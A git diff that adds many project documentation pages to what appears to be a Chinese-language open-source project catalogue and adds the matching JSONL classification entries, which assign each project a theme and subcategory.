src/content/docs/projects/fastlane.md | 329 +++++++++++++++ src/content/docs/projects/ffmpeg-kit.md | 348 +++++++++++++++ src/content/docs/projects/flipper.md | 256 +++++++++++ src/content/docs/projects/flutter-quill.md | 397 ++++++++++++++++++ src/content/docs/projects/flutterfire.md | 292 +++++++++++++ src/content/docs/projects/freecad.md | 247 +++++++++++ src/content/docs/projects/fvm.md | 289 +++++++++++++ src/content/docs/projects/gimp.md | 307 ++++++++++++++ src/content/docs/projects/gitleaks.md | 248 +++++++++++ src/content/docs/projects/glide.md | 261 ++++++++++++ src/content/docs/projects/glsl-canvas.md | 247 +++++++++++ src/content/docs/projects/glslify.md | 301 +++++++++++++ src/content/docs/projects/gltf-transform.md | 229 ++++++++++ src/content/docs/projects/godot.md | 258 ++++++++++++ src/content/docs/projects/graalvm.md | 278 ++++++++++++ src/content/docs/projects/hedgedoc.md | 370 ++++++++++++++++ src/content/docs/projects/hermes.md | 223 ++++++++++ src/content/docs/projects/home-assistant.md | 345 +++++++++++++++ src/content/docs/projects/hydra-synth.md | 222 ++++++++++ src/content/docs/projects/hyprland.md | 298 +++++++++++++ src/content/docs/projects/inkscape.md | 258 ++++++++++++ .../docs/projects/jetpack-compose-samples.md | 254 +++++++++++ src/content/docs/projects/jupyter-notebook.md | 209 +++++++++ src/content/docs/projects/jupyterlab.md | 265 ++++++++++++ src/content/docs/projects/kbone.md | 285 +++++++++++++ src/content/docs/projects/kdenlive.md | 236 +++++++++++ src/content/docs/projects/kicad.md | 234 +++++++++++ src/content/docs/projects/kotlin.md | 262 ++++++++++++ src/content/docs/projects/krita.md | 366 ++++++++++++++++ src/content/docs/projects/librecad.md | 257 ++++++++++++ src/content/docs/projects/libsdl.md | 306 ++++++++++++++ src/content/docs/projects/littlefs.md | 280 ++++++++++++ src/content/docs/projects/llrt.md | 274 ++++++++++++ src/content/docs/projects/luma-gl.md | 278 ++++++++++++ src/content/docs/projects/luxcorerender.md | 267 ++++++++++++ src/content/docs/projects/maestro.md | 297 +++++++++++++ 73 files changed, 20123 insertions(+), 5 deletions(-) create mode 100644 src/content/docs/papers/freertos-overview.md create mode 100644 src/content/docs/projects/accompanist.md create mode 100644 src/content/docs/projects/aframe.md create mode 100644 src/content/docs/projects/ai-dynamo.md create mode 100644 src/content/docs/projects/appflowy.md create mode 100644 src/content/docs/projects/appium.md create mode 100644 src/content/docs/projects/appleseed.md create mode 100644 src/content/docs/projects/ar-js.md create mode 100644 src/content/docs/projects/aseprite.md create mode 100644 src/content/docs/projects/assimp.md create mode 100644 src/content/docs/projects/authentik.md create mode 100644 src/content/docs/projects/bitwarden-server.md create mode 100644 src/content/docs/projects/blender.md create mode 100644 src/content/docs/projects/bookstack.md create mode 100644 src/content/docs/projects/box2d.md create mode 100644 src/content/docs/projects/bullet.md create mode 100644 src/content/docs/projects/cannon-es.md create mode 100644 src/content/docs/projects/ccusage.md create mode 100644 src/content/docs/projects/chameleon.md create mode 100644 src/content/docs/projects/cinder.md create mode 100644 src/content/docs/projects/clojure.md create mode 100644 src/content/docs/projects/cocoindex.md create mode 100644 src/content/docs/projects/codegraph-claude-code.md create mode 100644 src/content/docs/projects/coil.md create mode 100644 src/content/docs/projects/cpython.md create mode 100644 src/content/docs/projects/deck-gl.md create mode 100644 src/content/docs/projects/detox.md create mode 100644 src/content/docs/projects/draco.md create mode 100644 src/content/docs/projects/dragonbones.md create mode 100644 src/content/docs/projects/eclipse-openj9.md create mode 100644 src/content/docs/projects/engine262.md create mode 100644 src/content/docs/projects/ente.md create mode 100644 src/content/docs/projects/esphome.md create mode 100644 src/content/docs/projects/espurna.md create mode 100644 src/content/docs/projects/etherpad-lite.md create mode 100644 src/content/docs/projects/fastlane.md create mode 100644 src/content/docs/projects/ffmpeg-kit.md create mode 100644 src/content/docs/projects/flipper.md create mode 100644 src/content/docs/projects/flutter-quill.md create mode 100644 src/content/docs/projects/flutterfire.md create mode 100644 src/content/docs/projects/freecad.md create mode 100644 src/content/docs/projects/fvm.md create mode 100644 src/content/docs/projects/gimp.md create mode 100644 src/content/docs/projects/gitleaks.md create mode 100644 src/content/docs/projects/glide.md create mode 100644 src/content/docs/projects/glsl-canvas.md create mode 100644 src/content/docs/projects/glslify.md create mode 100644 src/content/docs/projects/gltf-transform.md create mode 100644 src/content/docs/projects/godot.md create mode 100644 src/content/docs/projects/graalvm.md create mode 100644 src/content/docs/projects/hedgedoc.md create mode 100644 src/content/docs/projects/hermes.md create mode 100644 src/content/docs/projects/home-assistant.md create mode 100644 src/content/docs/projects/hydra-synth.md create mode 100644 src/content/docs/projects/hyprland.md create mode 100644 src/content/docs/projects/inkscape.md create mode 100644 src/content/docs/projects/jetpack-compose-samples.md create mode 100644 src/content/docs/projects/jupyter-notebook.md create mode 100644 src/content/docs/projects/jupyterlab.md create mode 100644 src/content/docs/projects/kbone.md create mode 100644 src/content/docs/projects/kdenlive.md create mode 100644 src/content/docs/projects/kicad.md create mode 100644 src/content/docs/projects/kotlin.md create mode 100644 src/content/docs/projects/krita.md create mode 100644 src/content/docs/projects/librecad.md create mode 100644 src/content/docs/projects/libsdl.md create mode 100644 src/content/docs/projects/littlefs.md create mode 100644 src/content/docs/projects/llrt.md create mode 100644 src/content/docs/projects/luma-gl.md create mode 100644 src/content/docs/projects/luxcorerender.md create mode 100644 src/content/docs/projects/maestro.md diff --git a/data/classification.jsonl b/data/classification.jsonl index 147955d3d..84505d995 100644 --- a/data/classification.jsonl +++ b/data/classification.jsonl @@ -5,6 +5,7 @@ {"slug":"actions-runner-controller","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps / CI 基建","source":"category","confidence":"high","rawCategory":"基础设施"} {"slug":"actix-web","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"affine","area":"projects","theme":"CLI","themeId":"cli","subcategory":"开源工具","source":"category","confidence":"high","rawCategory":"CLI"} +{"slug":"aframe","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"ag-grid","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"age","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"aichat","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -28,6 +29,7 @@ {"slug":"ape-framework","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"apexcharts","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"apollo-server","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"appflowy","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"appwrite","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"aptos-core","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"aragon","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} @@ -45,6 +47,7 @@ {"slug":"arweave","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"asdf","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"aspnetcore","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"assimp","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"ast-grep","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"asterisk","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"astro","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"UI 框架 / 静态站点","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -77,19 +80,23 @@ {"slug":"billboard-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"biome","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具链","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"bitcoin-core","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"blender","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"boa-engine","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"bokeh","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"bookstack","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"botbuilder-js","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"botpress","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"bottom","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"box2d","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"boxen","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"broot","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} -{"slug":"browser-use","area":"projects","theme":"其他","themeId":"other","subcategory":"AI与自动化","source":"category","confidence":"high","rawCategory":"其他"} +{"slug":"browser-use","area":"projects","theme":"其他","themeId":"other","subcategory":"ai-agent-infra","source":"candidates.topic+category","confidence":"high","rawCategory":"其他"} {"slug":"btop","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"bubbletea","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"buildah","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"buildkit","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"buildroot","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} +{"slug":"bullet","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"bullmq","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"bun","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"caddy","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -97,6 +104,7 @@ {"slug":"cal-com","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"SaaS 应用","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"calico","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"candle","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} +{"slug":"cannon-es","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"canvas-datagrid","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"capacitor","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"capnproto","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -109,6 +117,7 @@ {"slug":"chainlink-ccip","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"chainlink","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"chalk","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"chameleon","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"changesets","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"chaos-mesh","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"chart-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -171,6 +180,7 @@ {"slug":"dayjs","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"dbt-core","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"debezium","area":"projects","theme":"数据库","themeId":"databases","subcategory":"数据基建 / CDC","source":"category","confidence":"high","rawCategory":"数据库"} +{"slug":"deck-gl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"decord","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"deepspeed","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"defold","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} @@ -192,6 +202,8 @@ {"slug":"doom-emacs","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"doris","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"dovecot","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"draco","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"dragonbones","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"dragonfly","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"drawio","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"drizzle-orm","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -232,8 +244,11 @@ {"slug":"errbot","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"esbuild","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"esp-dl","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} +{"slug":"esphome","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} +{"slug":"espurna","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"essentia","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"etcd","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"etherpad-lite","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"ethers-js","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"evidence","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"excalidraw","area":"projects","theme":"通信","themeId":"communication","subcategory":"协作工具","source":"category","confidence":"high","rawCategory":"通信"} @@ -250,6 +265,7 @@ {"slug":"fdk-aac","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"feast","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"ferretdb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"ffmpeg-kit","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"ffmpeg","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"fiber","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"filament","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} @@ -262,8 +278,10 @@ {"slug":"flax","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"flowchart-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"fluent-bit","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"flutter-quill","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flutter-rust-bridge","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flutter","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"flutterfire","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flux","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"foam","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"fooocus","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -273,6 +291,7 @@ {"slug":"freemodbus","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"freertos","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"freeswitch","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"fvm","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"fx","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"fzf","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"gazebo-classic","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} @@ -287,8 +306,12 @@ {"slug":"glab","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"glances","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"glide-data-grid","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"glsl-canvas","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"glslify","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"gltf-transform","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"go-ethereum","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"go-zero","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"godot","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"got","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"gqlgen","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"gradio","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -313,9 +336,11 @@ {"slug":"hardhat","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"haystack","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"heaps","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"hedgedoc","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"helidon","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"helix","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"helm","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"hermes","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"hls.js","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"hnswlib","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"hocuspocus","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -326,12 +351,15 @@ {"slug":"hot-chocolate","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"htop","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"httpie","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"hydra-synth","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"hyprland","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"i18next","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端国际化","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"imagemagick","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"immer","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"immich","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"自托管应用","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"influxdb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"ink","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"category","confidence":"high","rawCategory":"CLI"} +{"slug":"inkscape","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"inngest","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"insightface","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"internvideo","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} @@ -355,6 +383,8 @@ {"slug":"jq","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"js-joda","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"jspdf","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"jupyter-notebook","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"jupyterlab","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"just","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"k3s","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"k6","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -363,6 +393,7 @@ {"slug":"kakoune","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} 